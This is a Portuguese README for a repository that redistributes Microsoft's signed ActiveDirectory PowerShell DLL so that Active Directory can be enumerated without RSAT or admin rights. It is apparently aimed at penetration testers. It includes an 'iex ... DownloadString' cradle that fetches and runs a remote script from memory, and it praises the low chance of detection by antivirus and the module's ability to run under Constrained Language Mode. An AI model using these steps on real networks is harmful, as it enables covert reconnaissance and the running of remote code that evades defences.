
Módulo PowerShell do ActiveDirectory assinado pela Microsoft
DLL assinada pela Microsoft para o módulo PowerShell do ActiveDirectory
Apenas um backup do módulo ActiveDirectory PowerShell da Microsoft do Server 2016 com RSAT e módulo instalado. A DLL é geralmente encontrada neste caminho: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management
e o restante dos arquivos do módulo neste caminho: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\
Você pode copiar esta DLL para sua máquina e usá-la para enumerar o Active Directory sem instalar o RSAT e sem ter privilégios administrativos.
PS C:\> Import-Module C:\ADModule\Microsoft.ActiveDirectory.Management.dll -Verbose

Você também pode usar o Import-ActiveDirectory.ps1 (Agradecimentos ao PR do @D1iv3) para carregar o script usando "download-execute cradles" e sem gravar a DLL em disco:
PS C:\> iex (new-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1');Import-ActiveDirectory

Para listar todos os cmdlets no módulo, importe o módulo também. Lembre-se de importar a DLL primeiro.
PS C:\> Import-Module C:\ADModule\Microsoft.ActiveDirectory.Management.dll -Verbose
PS C:\> Import-Module C:\AD\Tools\ADModule\ActiveDirectory\ActiveDirectory.psd1
PS C:\> Get-Command -Module ActiveDirectory
Existem muitos benefícios como chances muito baixas de detecção por AV, cobertura muito ampla pelos cmdlets, bons filtros para cmdlets, assinado pela Microsoft, etc. O mais útil, no entanto, é que este módulo funciona perfeitamente no Modo de Linguagem Restrita do PowerShell

https://www.labofapenetrationtester.com/2018/10/domain-enumeration-from-PowerShell-CLM.html